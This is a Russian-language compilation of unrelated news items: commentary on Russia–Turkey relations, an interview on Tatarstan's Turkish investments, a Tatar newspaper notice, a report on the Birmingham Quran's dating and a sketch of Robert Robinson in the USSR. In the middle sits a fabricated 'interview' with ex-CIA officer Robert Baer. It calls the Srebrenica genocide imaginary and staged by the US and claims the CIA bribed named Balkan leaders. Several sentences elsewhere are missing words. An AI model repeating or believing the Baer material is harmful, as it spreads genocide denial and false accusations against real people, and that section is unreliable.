Впрочем, по большому счету мы с турками опять чувствуем себя пасынками Европы. В НАТО Турцию взяли, чтобы иметь военную базу, но в Евросоюз не принимают. У Турции с Европой любовь без взаимности, как и у нас. А всякая любовь такого рода оборачивается ненавистью. Конечно, отношения Анкары с Брюсселем сегодня формально никак не напоминают отношения Брюсселя и Москвы. Мы с Европой друг другу пакостим вполне откровенно, тогда как Турция с ней сотрудничает. Но есть за всем этим довольно серьезная проблема.
И Турция, и Россия идут в Европу неевропейским путем. Отрицая либеральные, индивидуалистические ценности и поддерживая коллективистские, сплачивающие общество. Как пел в свое время Бармалей, «нормальные герои всегда идут в обход». Путин, пришедший к власти в 2000-м, вернул народу великодержавные настроения и этим поставил себя в зависимость от того, будет ли общество чувствовать себя вставшим с колен. Эрдоган, пришедший к власти в 2002-м, вернул народу исламистские настроения после долгих лет существования светских режимов, выкорчевывавших религиозность. И он тоже будет преуспевать лишь до тех пор, пока Турция видит себя не второразрядной западной страной, а великой державой, развивающейся на базе собственных культурных ценностей. Эрдоган поднял народ с колен, и теперь не может ударить в грязь лицом.
Данное положение, в частности, определяет еще одно важное сходство между современной Россией и современной Турцией. Наши вожди ни при каких обстоятельствах не готовы допустить раскола страны. Поэтому Путин держится за Чечню, а Эрдоган – за Курдистан. Ни в России, ни в Турции невозможно представить себе проведение референдума, как в Шотландии или Квебеке.
И вот на всем этом фоне два национальных лидера столкнулись «в небе над сирийско-турецкой границей». Отступление для каждого из них невозможно, поскольку политический успех Путина и Эрдогана формируется только в наступлении. Поднявшееся с колен общество – это их электорат. Общество без патриотического невроза – это шанс для оппозиции, предлагающей становиться Европой с меньшими жертвами. Как людскими, так и финансовыми.
Дмитрий Травин,
профессор Европейского университета в Санкт-Петербурге
Источник:
ТУРОК ТАТАРИНУ – БРАТ. А РУССКОМУ – НЕТ? В Казани без всякого восторга следят за развитием конфликта между Москвой и Анкарой В Казани с большой тревогой следят за разрастанием российско-турецкого конфликта. Озабоченность той безоглядной скоростью, с которой Москва разрывает многолетние контакты с Анкарой, прорвала сь в недавнем президента Татарстана - Рустама Минниханова, назвавшего турецкий и татарский народ "братьями". Каждый четвертый доллар иностранных инвестиций в Татарстане – турецкий. Общий объем турецких финансовых вложений в Россию в 2014 году составил почти 12 миллиардов долларов, из них два миллиарда пришлись на Татарстан. Эта республика заключила прямые соглашения о сотрудничестве с семью провинциями Турции, рассчитывая, что "татарская" доля в турецких инвестициях в Россию в ближайшие годы удвоится. Все эти миллиарды – чем особенно гордятся в Казани – направляются в первую очередь в развитие промышленности: в автомобилестроение, деревообработку, IT-сферу, строительный бизнес, а не в нефтяной промысел.
В последние месяцы 2015 года вся эта схема выгодного сотрудничества во многом пошла прахом: после инцидента с российским бомбардировщиком Су-24, сбитым турецкими ВВС над сирийско-турецкой границей, двусторонние экономические программы сворачиваются, из России решением Москвы высланы турецкие студенты, прекращается культурное, спортивное сотрудничество, затихли туристические обмены. Турция в длинном списке "главных врагов России" опередила Украину и США.
– Конечно, нас такой разворот событий не может не беспокоить, – сказал в интервью Радио Свобода видный казанский интеллектуал, директор местного Института истории, доктор исторических и кандидат философских наук, член партии "Единая Россия", депутат Государственного совета Республики Татарстан Хакимов. – В Татарстане очень много турецких инвесторов, в последние годы турецкие партнеры построили у нас крупные заводы. Мы рассматриваем Татарстан как "окно в Турцию" для всей России. За нарастанием конфликта между Москвой и Анкарой в Казани поэтому следят с недоумением, с настороженностью, но в какой-то мере и с надеждой, что этот конфликт все-таки ненадолго.
– Означает ли это, что в Казани не находят понимания меры по разрыву отношений с Турцией, предпринятые российскими властями? – Означает. При чем тут турецкие студенты, которые учатся в Татарстане? При чем тут турецкие бизнесмены? Турция в последние годы вложила в развитие Татарстана большие средства, миллиарды долларов, и готова инвестировать еще больше. Построенные турками заводы успешно работают и, между прочим, приносят доход не только бюджету Татарстана, но и российской казне. Все это приостанавливать из-за одного инцидента? Это нам непонятно. При чем тут, например, TÜRKSOY ( Башкирия, Тува, Алтай и Хакасия "в знак протеста против действий Турции" по рекомендации Министерства культуры России в конце минувшего года свернули свою деятельность в этой организации – РС), это же совершенно далекая от политики сфера! Тут занимаются культурой – пляшут и поют, если попросту говорить. В России тоже живут тюркские народы, зачем же вот так вдруг культурное сотрудничество сворачивать?!
– Вы думаете, слышен голос Татарстана в Москве? Иными словами, делают ли в Кремле поправку на особые отношения Татарстана и Турции, в конце концов, на ? Или Москва не торопится обращать на это внимание? – , согласно решению правительства России, не подпали под санкции, оба работают в . Из организации TÜRKSOY Татарстан отказался выходить.
– В российских государственных средствах массовой информации Турция теперь упоминается исключительно в негативном контексте. Теперь Анкара, а не Киев или Вашингтон, – главный враг России. С этим что делать? – Подождать. Еще в середине осени главными врагами России действительно считались Украина и США. Этим уже как бы объелись. Потом Сирия началась, теперь Турция. Пройдет какое-то время, и Турция станет неактуальной.
– Вы думаете, Кремль отыщет нового врага? – Скорее всего, да. Политическая ситуация на Ближнем Востоке не улучшается. Говорить о том, что сирийский кризис можно распутать одними бомбардировками, не приходится. Все утрясти политически, наладить отношения между разными воюющими группами и фракциями, между суннитами и шиитами, между саудитами и турками, между США, Францией, Европой и Россией – это не так просто.
– Чем вы объясняете такую поспешную решительность Москвы – может быть, импульсивностью российского руководства или русского национального характера? Вам, похоже, ближе восточная мудрость – "переждать ветер"? – Да-да, конечно. Тут вот что важно понимать: Татарстан не просто так, не сам по себе работал с Турцией. Это было согласовано не только с МИД России, но и с высшим руководством страны. Это всячески одобрялось Москвой. Не может внешнеполитическая стратегия страны строиться на эмоциях, поэтому нужно с пониманием отнестись к тому неудовольствию, которое вызвал в Москве инцидент с бомбардировщиком. Время пройдет – все уляжется.
– Когда почти два года назад Россия включила Крым в свой состав, Москва пыталась использовать казанских татар в роли переговорщиков, своего рода парламентеров, для налаживания отношений с крымскими татарами. Сейчас у вас в республике нет подобных сигналов от российского руководства? Не хочет ли Москва использовать Казань для нормализации отношений с Турцией? – Пока нет. Я думаю, пока это невозможно, нужно, чтобы схлынули страсти. У нас ведь еще и СМИ очень... своеобразные. Они, даже если их не просят, подключаются к общей истерии. Нужно, чтобы просто прошло время. Я думаю, что Татарстан естественным образом постепенно включится в процесс восстановления связей.
– Президент Татарстана Рустам Минниханов публично предложил такую формулировку: "Для русского народа турецкий народ – друг, а для татарского народа – брат". Как бы вы расшифровали его послание? Как его читать Москве? – Турки и татары – действительно братские народы. Во-первых, у нас есть близость в планах культурном и языковом. Во-вторых, татарские интеллектуалы в 1920-е годы внесли большой вклад в становление Турецкой республики. У Кемаля Ататюрка были причем на ключевых должностях. У нас есть общая история, и ее так просто не выбросишь... Это означает, что мы не можем к развитию многолетних отношений просто подходить только с точки зрения какого-то отдельного конфликта. Нужно понимать: есть дружественные друг другу народы, а правители у них бывают разные. – очень своеобразный политический деятель, к нему и многие турки относятся неоднозначно. Поэтому нельзя сводить все к Эрдогану и только так вот судить о турецком народе. Сколько турок в Татарстане живут, работают, именно они нас научили строить по-настоящему, качественно и быстро! Без помощи турок трудно представить себе в Казани такие мероприятия, скажем, как в 2013 году. Надо быть благодарными этому народу!
– Как вся эта неприятная ситуация в треугольнике Казань – Анкара – Москва может сказаться на отношениях федерального центра и руководства вашей республики? Известно, что некоторые разночтения в подходах к политическому развитию Татарстана между Москвой и Казанью сохраняются. Непонятно, например, будет ли глава республики Татарстан по-прежнему называться президентом. Не опасаются у вас, что Кремль теперь поведет себя жестче, чем прежде, раз уж Татарстан без большого понимания относится к антитурецкой политике Москвы? – Но мы же это делаем согласовано, каждый наш шаг – не вопреки Москве. Мы каждое свое действие обосновываем! Но если и в экономической сфере будут жесткие меры против Турции приняты, то это отразится на благосостоянии России в целом. Надо ли это делать? Я думаю, что в Москве это понимают. Мы согласовываем с Москвой свою политику, хотя по многим вопросам имеем собственное мнение. У Татарстана в целом своя экономическая политика, более эффективная, ее успешность доказана на практике. Хорошо бы, чтобы и другие регионы России шли тем же путем.
– Что именно вы имеете в виду – "своя экономическая политика"? – С 1996 года Татарстан начал отходить от зависимости от продаж сырой нефти. Мы перешли на глубокую переработку нефти, на развитие промышленности в целом, на высокотехнологичное машиностроение, авиастроение и IT-технологии. Мы преуспели в этом деле и сегодня от экспорта сырой нефти зависим минимально. Если бы такая же политика проводилась в целом по России, то, я думаю, ситуация в экономике страны была бы совсем иной.
– А почему, как вам кажется, этот татарский пример не использован в других регионах России? – Для этого нужно проявить политическую волю.
– Москве? Путину? – Другим регионам, и Москве тоже. Разговорами ведь не отделаться. Продажа нефти – самое простое. Когда цена на нефть высокая, всегда есть соблазн продать, легко заработать и хорошо жить. Нужна политическая воля для того, чтобы самого себя ограничить, развивая то, что трудно развивается, например, машиностроение или IT-технологии. Другие регионы просто не имели столько прав, сколько мы, согласно договору о разграничении полномочий с федеральным центром. И мы, собственно, свою экономику разработали, исходя из особенностей Татарстана. Было много разговоров о том, что России опасно сидеть на нефтяной игле, нужны были кардинальные решения по структурной перестройке экономики, но они не последовали.
– Как, по вашему мнению, будет решен вопрос с титулом главы республики? – Население Татарстана голосовало за президента Минниханова. Не считаться с мнением народа опасно. Тем более если учесть, что между Москвой и Казанью действует договор 2007 года, если учесть, что Конституция России разрешает президентские должности: "Пусть решает народ". А президент России – гарант Конституции страны (дословная цитата из выступления Путина: "Как у нас говорят – хоть горшком назови, главное – чтоб в печку не ставили. Я не думаю, что переименование затронет национальные чувства татар. Вот, например, Чечня заявила, что у нас должен быть один президент. Мы уважаем решение татарского народа. Вы там сами решите" – РС).
– Кто-то оценил экономический ущерб, который Татарстан понес от конфликта вокруг сбитого над границей российского самолета? Если да, то есть ли какие-то способы минимизировать этот ущерб? Ведутся переговоры на сей счет между Татарстаном и Москвой, учитывая, что ваша республика особенно сильно связана с Турцией? – Я таких цифр не видел. Что касается продовольствия, тех товаров из Турции, которые попали под санкции и запрет экспорта, то наша республика в отношении сельского хозяйства не только самодостаточна, но и вывозит продукцию на общероссийский рынок. В отличие от других регионов России, мы не сильно зависим от турецкого текстиля, потому что у нас работает много фирм из самых разных стран. Конечно, турецкий текстиль достаточно качественный и дешевый, и кто-то все же, наверное, пострадает, но не столь заметно. Основной вопрос связан с крупными промышленными предприятиями, автомобильными, например, или со строительной сферой. Я думаю, что этот вопрос решаем. Если мы даже потеряем что-то, то не слишком значительно.
– В Москве работает какое-то татарское лобби, чтобы уберечь российское руководство от неразумных или поспешных шагов в отношениях с Турцией? – Прежде всего, конечно, мы надеемся на хорошие отношения Минниханова с Путиным, на их личные отношения. Это главное.
– По вашим оценкам, сколько времени продлится этот конфликт? К концу этого года улягутся страсти и потихонечку все само собой вернется на круги своя? Ведь бывают такие провалы: ситуация словно обрушивается на несколько этажей и потом уже не восстанавливается? – Все вернется к прежнему уровню, потому что Турция – это страна, которой нельзя вот так просто пренебречь. Это большая страна, это южный фланг НАТО, это страна на перекрестке Европы и Азии. Очень трудно в Закавказье, на Ближнем Востоке, на юго-востоке Европы работать, не учитывая мнения Турции. Здесь слишком много факторов, чтобы вот так себя вести: поссориться, забыть друзей, и до свидания! "Враг номер один" в России быстро появляется и так же быстро исчезает. К лету, наверное, напряжение уже спадет, – рассчитывает казанский политический комментатор и общественный деятель Рафаэль Хакимов. Крупнейший турецкий инвестор в Татарстане – фирма "Кастамону Интегрейтед Вуд Индастри". В мае 2014 года эта компания ввела в эксплуатацию в республике первую очередь завода по переработке древесины и выпуску напольных покрытий и мебельных панелей. Другой крупный международный проект – совместное предприятие турецкой компании "Шишеджам" и французской "Сен-Гобэн" по производству стекла и зеркал с объемом инвестиций в семь миллиардов рублей. В феврале 2015 года в Татарстане пущен завод, построенный компанией "Хаят Кимья", по производству санитарно-гигиенической бумаги. На заводе "Джошкуноз Алабуга" турецкой постройки производят кузовные детали для автомобилей Ford. Через день после того, как в небе над Турцией был сбит российский самолет, в Татарстане запустили проект по производству автомобильного стекла (размер турецких инвестиций – около 4 миллиардов рублей). Все эти полезные начинания теперь поставлены под угрозу.
Источник:
ИЗДАН ВТОРОЙ НОМЕР ГАЗЕТЫ «ТЮРКСКИЙ ВЗГЛЯД» В столице Татарстана вышел второй номер общетюркской, культурно-просветительской, общественно-политической газеты на русском языке "Тюркский взгляд".
Напомним, одной из самых известных татарских организаций – Союзом татарской молодежи (СТМ) "Азатлык". Учредителем издания является лидер этой организации Наиль Набиуллин.
Второй номер газеты насыщен различными материалами о жизни тюркских народов: "Как приветствовал гуннов великий Аттила", "Шорцы", "Учителя римлян этруски - наши предки", "Тюркские танцы: от шаманских камланий до джигитовки с саблями", "Чай Чингисхана", "Основная проблема татарского языка" и др.
Кроме статей имеется ряд тематических рубрик: "Тюркский полиглот", "Тюркская поэзия", "Тюркский дух", "Символы тюрков". На последней странице газеты имеется календарь на 2016 год.
2016 - ГОД САДРИ МАКСУДИ Редакция газеты "Тюркский взгляд" объявляет 2016 год годом великого татарского и тюркского общественного деятеля, мыслителя, ученого, политика – Садри Максуди.
"Садри Максуди внес большой вклад в изучение тюркской истори. Из исторических трудов следует назвать прежде всего книгу "Тюркские государства Центральной Азии" (1934). Но наибольшее количество трудов С.Максуди оставил в области права и истории права. Он также создал совершенно новую отрасль науки под названием "История тюркского права". Осознавая великие заслуги ученого перед всем Тюркским миром, редакция газеты намерена увековечить их путем провозглашения 2016 года годом Садри Максуди. Планируется в каждом номере освещать жизнь и деятельность Садри Максуди, публиковать его труды", - говорится на страницах второго номера газеты.
Редакция также планирует проведение круглых столов, конференций посвященных Максуди, выпуск календарей, буклетов в целях распространения и популяризации личности видного ученого и его вклада в просвещение тюркских народов.
ВОЛОНТЕРЫ ТЮРКСКОГО МИРА "У газеты нет богатых спонсоров, ее не финансирует государство, ей не оказывают помощь какие-либо организации, а люди выполняющие непосредственно саму работу по сбору, систематизации, подготовке к печати не получают заработную плату. "Тюркский взгляд" – это проект энтузиастов, неравнодушных к судьбе тюркских народов ученых, студентов, пенсионеров, обычных людей под эгидой СТМ "Азатлык". Хочется выразить самые искренние слова благодарности тем людям, кто оказал материальную помощь в выпуске данного номера. Каждый из тех, кто внес хоть небольшую сумму, пусть даже символические сто рублей, внесли свой неоценимый вклад в просвещение тюркских народов. Конечно, выпуск бумажной газеты дело непростое, затратное и трудоемкое. Деньги на выпуск собирались с миру по нитке: кто-то давал 100 рублей, кто-то 500. И мы благодарим каждого, кто оказал нам поддержку и помощь." – сказали в СТМ "Азатлык".
По словам татарских активистов, хоть газета и издается Союзом татарской молодежи, она является собственностью всего Тюркского мира и будет вести деятельность на благо всех тюрков.
"Мы волонтеры Тюркского мира. Наша цель – просвещение тюркских народов. Именно поэтому, издание и распространение общетюркской газеты считаем нужным делом для всего Тюркского мира" – заявил учредитель, главный редактор газеты "Тюркский взгляд" и лидер "Азатлык" Наиль Набиуллин.
ГАЗЕТА ПРИГЛАШАЕТ К СОТРУДНИЧЕСТВУ При редакции газеты создан научно-общественный совет во главе с историком, членом координационного совета Всемирной ассамблеи тюркских народов Рафаэлем Мухаметдиновым. Газета приглашает к сотрудничеству ученых, журналистов, общественников и всех патриотов из числа тюркских народов.
"Мы будем рады каждому автору из всех уголков Тюркского мира. Каждый может высказать свое мнение по деятельности газеты, отправить свои публикации, каждый желающий может помочь распространением газеты у себя", - подчеркнули в редакции газеты.
Напомним, тираж 16 страничной газеты составляет 5 тыс. экземпляров и распространяется она бесплатно. Желающие оказать материальную помощь в деле выпуска последующих номеров газеты, могут обращаться на электронную почту azatliq1990@gmail.com
Источник:
ДАТИРОВКА ДРЕВНЕГО КОРАНА ИЗ БИРМИНГЕМА ВЫЗЫВАЕТ СПОРЫ Этим летом сотрудники Университета Бирмингема , что хранящиеся у них в библиотеке страницы рукописи Корана являются одним из древнейших в мире фрагментов священной книги мусульман. Эта новость сразу же облетела весь мир.
По словам исследователей, они были ошеломлены, когда радиоуглеродный анализ показал, что возраст документа составляет не менее 1370 лет.
Это значит, что человек, работавший над манускриптом, теоретически мог встречаться с пророком Мухаммедом или слушать его проповеди.
Сразу же возникли вопросы о происхождении этих страниц Корана.
Но теперь исследователи на Ближнем Востоке говорят, что это открытие может быть еще более значимым, чем казалось на первый взгляд.
Некоторые даже утверждают, что в Бирмингеме хранятся фрагменты самой первой полной рукописи Корана, заказанной сподвижником Мухаммеда Абу Бакром.
Как ученые пришли к этому выводу?
Французский след По всей видимости, бирмингемские страницы Корана в прошлом хранились в мечети Амр ибн аль-Ас в Фустате - старейшей мечети в Египте.
Исследователи теперь практически уверены, что страницы в Бирмингеме в прошлом входили в тот же манускрипт, что и страницы Корана, хранящиеся в Национальной библиотеке Франции.
Франсуа Дерош, историк и специалист по Корану из Коллеж де Франс, подтверждает, что фрагменты, хранящиеся в Париже и в Бирмингеме, в прошлом были частью одного манускрипта.
Это важно, так как нам известно, что фрагмент Корана в Париже попал туда из мечети Амр ибн аль-Ас в Фустате.
"Французская" часть манускрипта была привезена в Европу Асленом де Шервилем, который занимал должность вице-консула в Египте в то время, когда эта страна была оккупирована в начале XIX века армией Наполеона.
По словам профессора Дероша, в 1820-х годах вдова Аслена де Шервиля, судя по всему, пыталась продать исламские манускрипты Британской библиотеке, но в конце концов они оказались в Национальной библиотеке в Париже, где они хранятся и по сей день.
Черный рынок Но если часть древнего Корана оказалась в Париже, то как некоторые страницы того же текста попали в Бирмингем?
По словам профессора Дероша, в XIX веке древние тексты, хранившиеся в мечети в Фустате, были перевезены в национальную библиотеку в Каире.
Во время переезда часть манускриптов, вероятно, украли, и они попали в руки торговцев предметами старины.
После этого они перепродавались много раз, до тех пор пока в 1920-х годах не попали в руки Альфонса Минганы, который привез их в Бирмингем.
Мингана был ассирийцем, он родился на территории нынешнего Ирака. Его регулярные поездки на Ближний Восток в поисках предметов старины финансировались семьей Кэдбери.
"Конечно, нет никаких прямых свидетельств [того, что Мингана купил эти манускрипты на черном рынке], но это объясняет, как страницы из коллекции мечети в Фустате попали в руки Минганы", - говорит профессор Дерош.
Более того, он считает, что другие части той же древней рукописи могут находиться в западных частных коллекциях и еще могут всплыть в будущем.
Расхождения в датах При этом споры вокруг точной датировки бирмингемской рукописи продолжаются.
Тесты, проведенные оксфордскими специалистами по радиоуглеродному анализу, показали, что манускрипт мог был написан между 568 и 645 годом. Точность такого анализа - 95%. Сам пророк Мухаммед скончался в 632 году.
Глава отдела специальных коллекций Университета Бирмингема Сьюзан Уоралл сказала, что ученые "даже в самых смелых своих мечтах" не могли предположить, что рукопись окажется такой древней.
Согласно исламскому вероучению, пророк Мухаммед получал откровения, которые затем легли в основу Корана, между 610 и 632 годами. Получается, что автор документа, хранящегося в Бирмингеме, мог быть современником Пророка, отмечает профессор религиоведения Дэвид Томас.
"Эти части Корана по тексту очень близки к Корану в его современном виде. Это подтверждает версию о том, что текст священной для мусульман книги претерпел только небольшие изменения или же вообще не изменялся", - отмечает Томас.
Эта рукопись могла быть создана близко по времени к моменту, когда Мухаммед рассказывал о полученных им откровениях, продолжает профессор.
Таким образом, этот манускрипт, написанный на ранней хиджазской форме письменного арабского языка, может быть признан одним из старейших фрагментов Корана.
Анализ письма или пергамента? Однако данные радиоуглеродного анализа противоречат выводам специалистов по арабскому письму.
Мустафа Шах из кафедры исламоведения в лондонской Школе востоковедения и африканистики (SOAS), говорит, что исходя из графики, например пробелов между сурами или грамматическими указателями, этот текст был написан позже.
Правила письма в арабском языке изменились после смерти пророка Мухаммеда, и, по словам доктора Шаха, бирмингемский манускрипт не мог быть написан в первой половине VII века.
Профессор Дерош также говорит, что испытывает некоторые сомнения в достоверности радиоуглеродного анализа, и напоминает о случаях, когда подобный анализ проводился на рукописях, дата написания которых была известна, и при этом давал неверные результаты.
Но сотрудники лаборатории радиоуглеродного анализа Оксфордского университета, где анализировался бирмингемский документ, убеждены в правильности своих результатов.
По словам исследователя Дэвида Чивалла, точность радиоуглеродного анализа значительно повысилась за последние несколько лет.
Он говорит, что точная дата написания манускрипта ближе к 645 году и что точность анализа достигает 95%.
Кроме того, академические теории часто подвергаются изменениям. Доктор Шах напоминает, что до 1990-х годов западные исследователи были убеждены, что полный текст Корана был написан лишь в VII веке.
Однако дальнейшие исследования эту теорию опровергли, и продемонстрировали, что традиционные мусульманские сказания о написании Корана, судя по всему, соответствуют действительности.
Страницы, хранящиеся в Париже, радиоуглеродному анализу не подвергались.
Самая древняя рукопись Корана? Но если бирмингемская рукопись и в самом деле была написана столь давно, то что это означает?
В Бирмингеме хранятся лишь две страницы древней рукописи, но, как говорит профессор Томас, полная коллекция должны была составлять около 200 страниц.
"Это был монументальный труд", - говорит он.
И тут сразу возникает вопрос: кто мог заказать написание этой рукописи Корана, у кого было достаточно средств на столь огромную работу?
Джамаль бин Хувайреб, директор фонда Мохаммеда бин Рашида аль-Мактума, основанного правителем Дубая, считает, что все существующие данные указывают на еще более интересную теорию.
По его мнению, страницы, хранящиеся в Бирмингеме, были частью первой рукописи Корана, созданной халифом Абу Бакром, правившим между 632 и 634 годами.
"Это важнейшее открытие в истории мусульманского мира", - полагает бин Хувайреб, который посетил Бирмингем и осмотрел манускрипт. "Я уверен, что это часть Корана Абу Бакра", - говорит он.
По его словам, высокое качество как письма, так и пергамента означает, что эта рукопись была создана для очень важной фигуры, а радиоуглеродный анализ указывает на самый ранний период истории ислама.
"Эта версия, эта коллекция, эта рукопись уходят к истокам ислама, к истокам Корана, - говорит он. - Это революция в исламоведении".
Заказ халифа? Существуют и другие теории. Радиоуглеродный анализ применяется к коже животного, из которого сделан пергамент, и не может указать время написания текста. Из этого следует, что он мог быть написан позже 645 года. Профессор Томас считает, что этот Коран мог быть написан между 650 и 655 годами.
Это соответствует датам создания многих рукописей Корана в период правления халифа Усмана (644-656 годы). Халиф Усман хотел создать точную и стандартную версию текста Корана и отправлял эти рукописи разным мусульманским общинам.
Профессор Томас напоминает, что в те времена часто изготовлялись копии копий Корана и, может быть, бирмингемская коллекция могла быть частью Корана, написанного специально для мечети в Фустате.
Джамаль бин Хувайреб, со своей стороны, считает, что тот факт, что эти страницы Корана были найдены в Великобритании, а не в мусульманской стране, символизирует дух терпимости между религиями.
"Мы должны уважать друг друга, сотрудничать. Нам не нужен конфликт", - говорит он.
Так или иначе, споры по поводу этого древнего документа, очевидно, будут продолжаться и дальше.
ШОН КОХЛАН Источник:
"Мы подкупили партии и политиков, которые добивались ненависти между народами. Нашей конечной целью было поработить вас!"
WebTribune публикует их интервью с бывшим агентом ЦРУ Робертом Баером во время его рекламной поездки в Квебек для продвижения выходящей книги "Секреты Белого дома" на прошлой неделе.
Цитата
Мой начальник, который являлся раньше сенатором США, часто подчеркивал, что в Боснии произойдет какая-то махинация. За месяц до мнимого геноцида в Сребренице он сказал мне, что этот город попадет в загловки мировых новостей, и приказал нам собрать СМИ.
Робер Баер, бывший офицер ЦРУ, написал множество книг, которые раскрывают секреты ЦРУ и администраций Билла Клинтона и Джорджа У. Буша. Его несколько раз арестовывали и задерживали. Митт Уаспер, личный друг, работавший в Сенате и делившийся информацией, был убит под угрозой оружием. Будучи высокопоставленным агентом ЦРУ, Баер работал в Югославии в период 1991-94 гг. и на Ближнем Востоке. Он принимал участие в создании нескольких документальных фильмов для "National Geographic", обвинив администрацию Буша в ведении войны ради нефти.
Интервью было проведено вживую в Канаде во время моей поездки несколько дней назад. Роберт Баер рекламирует в данный момент свою книгу "Секреты Белого дома" в Квебеке, где мы и поговорили. В интервью он рассказал о подоплеке войны в Югославии.
Где и когда была Ваша первая работа в Югославии?
Я прилетел на вертолете с тремя агентами. Мы приземлились 12 января 1991 года в Сараево. Нашей задачей было следить за предполагаемыми террористами сербской национальности, которые, как ожидалось, атакуют Сараево.
Кто были эти террористы и почему они должны были осуществить эти атаки?
Нам дали документы о группе под названием "Великая Сербия" с подробностями о планах проведения атак бомбами против важных зданий в Сараево в качестве противодействия намерению Боснии выйти из состава бывшей Югославии.
Существовала ли эта группа вообще и что именно Вы делали в Сараево под руководством ЦРУ?
Такая группа никогда не существовала! Наше начальство лгало нам. Нашей задачей было поднять тревогу и распространить панику среди политиков в Боснии, просто внушить им мысль, что сербы собираются атаковать. Поначалу мы приняли эту историю, но через некоторое время начали задаваться вопросами. Зачем мы раздували такую истерию, если группа явно не существовала?
Как и когда закончилась эта операция и было ли у нее название?
Для меня она закончилась через две недели, я получил новую работу в Словении. Операция длилась месяц и имела название "Istina" (т.е. "правда"), хотя это было что угодно, только не правда!
Почему Вы отправились в Словению?
Я получил инструкции, что Словения готова объявить независимость. Нам дали деньги, несколько миллионов долларов, чтобы финансировать различные НПО, оппозиционные партии и различных политиков, которые разжигали ненависть.
Было ли у Вас мнение о пропаганде ЦРУ и что думали Ваши коллеги?
Конечно, никто не отказывается от задания ЦРУ, особенно когда мы все нервничали и были склонны к паранойе! Многие агенты ЦРУ и старшие офицеры просто исчезли потому, что они отказались вести пропаганду против сербов в Югославии. Я лично был шокирован количеством лжи, скармливавшейся нашими агентствами и политиками! Многие агенты ЦРУ руководили пропагандой, не понимая того, что они делали. Все знали лишь часть истории, и только те, кто создает всю историю, знали подоплеку - политики.
То есть пропаганда была только против сербов?
Да и нет. Целью пропаганды было разобщить республики, чтобы они откололись от родины Югославии. Нам нужно было выбрать козла отпущения, на которого можно было бы все свалить. Кого-то, кто был бы ответственен за войну и насилие. Сербия была выбрана потому, что в определенной мере она является преемницей Югославии.
Можете ли Вы назвать политиков в бывшей Югославии, которым платило ЦРУ?
Да, хотя это несколько чувствительно. Платили Стипе Месичу, Франьо Туджману, Алие Изетбеговичу, многим консультантам и членам правительства Югославии, а также сербским генералам, журналистам и даже некоторым войсковым частям. Радовану Караджичу платили некоторое время, но он перестал принимать помощь, когда понял, что им пожертвуют и обвинят в военных преступлениях, совершенных в Боснии. Этим руководила американская администрация.
Вы упомянули, что СМИ контролировались и финансировались, как именно это происходило?
Это уже известно, некоторые агенты ЦРУ отвечали за написание официального заявления, которое ведущие зачитывали в новостях. Конечно, ведущие программ новостей не знали этого, они получали новости от своего начальства, а оно получало их от нашего человека. У всех была одна и та же задача: распространять ненависть, национализм и различия между людьми посредством телевидения.
Мы все знаем о Сребренице, можете сказать что-то об этом?
Да! В 1992 году я был снова в Боснии, но на этот раз мы должны были обучать военные части представлять Боснию, новое государство, которое только что объявило независимость. Сребреница является раздутой историей и, к сожалению, многими людьми манипулируют. В число жертв входят сербы и другие убитые, но Сребреница - это политический маркетинг. Мой начальник, который являлся ранее сенатором США, неоднократно подчеркивал, что в Боснии произойдет какая-то махинация. За месяц до мнимого геноцида в Сребренице он сказал мне, что этот город попадет в загловки мировых новостей, и приказал нам собрать СМИ. Когда я спросил зачем, он сказал - увидишь. Новая боснийская армия получила приказ атаковать дома и мирное население. Это были, конечно же, жители Сребреницы. В то же самое время сербы атаковали с другой стороны. Вероятно, кто-то заплатил, чтобы натравить их!
Тогда кто виновен в геноциде в Сребренице?
В Сребренице следует винить боснийцев, сербов и американцев - то есть нас! Но на самом деле во всем обвинили сербов. К сожалению, многие жертвы, похороненные как мусульмане, являлись сербами и другими национальностями. Несколько лет назад один мой друг, бывший агент ЦРУ, теперь работающий в МВФ, сказал, что Сребреница является результатом договоренности между правительством США и политиками в Боснии. Городом Сребреницей пожертвовали, чтобы дать Америке повод атаковать сербов за их предполагаемые преступления.
В конечном итоге почему, как Вы думаете, Югославия рухнула и почему Ваше правительство хотело это сделать?
Это очень ясно, люди, подстрекавшие к войне и диктовавшие условия мира, теперь владеют компаниями, которые извлекают выгоду из различных минеральных ресурсов и тому подобного! Они просто сделали из вас рабов, ваши люди работают задаром, а эта продукция идет в Германию и Америку... они победители! Вам со временем придется покупать и импортировать то, что вы сами создали, а так как у вас нет денег, то вам придется брать их взаймы, и в этом вся история всех Балкан!
Вы никогда не были в Косово в качестве агента ЦРУ, но Вы чувствовали давление со стороны Америки?
Конечно! Косово было захвачено по двум причинам, во-первых, из-за минеральных и природных ресурсов, а во-вторых, Косово является военной базой НАТО! В сердце Европы находится их крупнейшая военная база.
Есть ли у Вас послание для народов бывшей Югославии?
Да, есть. Забудьте о прошлом, оно было инсценировано и фальшиво. Они вами манипулировали, они получили, что хотели, и это глупо, что вы все еще ненавидите друг друга, вы должны показать, что вы сильнее, и вы поймете, кто это создал! Я искренне прошу прощения! Вот почему я давно раскрываю секреты ЦРУ и Белого дома!
АМЕРИКАНСКИЙ РАБОЧИЙ, НЕГР РОБИНСОН ОБ ИНДУСТРИАЛИЗАЦИИ В СССР
Американский негр, рабочий Роберт Робинсон был нанят советским Амторгом в 1930 году. Вместе с тысячами других американских специалистов он участвовал в индустриализации СССР. В 1934-м он решил остаться в СССР, стал депутатом Моссовета. Он вернулся в США в 1970-х, написав книгу о своей жизни в СССР.
Роберт Робинсон приехал в СССР из Детройта, где сумел добиться невозможного: стать единственным на заводе Форда чёрным станочником-универсалом. Там на него и обратили внимание вербовщики из Советского Союза, из внешнеторговой организации Амторг.
И в Сталинграде, и в Москве Робинсона, передового рабочего и изобретателя, начальство всячески поддерживало – в том числе в знаменитом в то время в СССР уголовном деле о расизме. В 1934 году его избирают депутатом Моссовета как «лучшего ударника цеха, общественника, рационализатора». «Чёрный человек будет заседать впервые в Белом зале Моссовета, — писала «Вечерняя Москва» 14 декабря 1934 года. — Он займёт свое место по праву как депутат рабочих передового завода, как представитель самой угнетённой в капиталистическом мире национальности, нашедший родину в Стране Советов».
Далее Робинсон получает предложение поступить в Московский вечерний машиностроительный институт. И он принимает роковое, как он сам пишет, решение стать гражданином СССР. Его годовой контракт растянулся на 44 года. Он не стал ни коммунистом, ни атеистом, открыто ходил в церковь и не давал страху овладеть собой. «В России я усвоил правило: нельзя ни на секунду показать, что ты боишься, обнаружить свою уязвимость, они тогда сразу же примутся выведывать и вынюхивать и не отстанут до тех пор, пока в полной мере не используют твою слабость в своих целях».
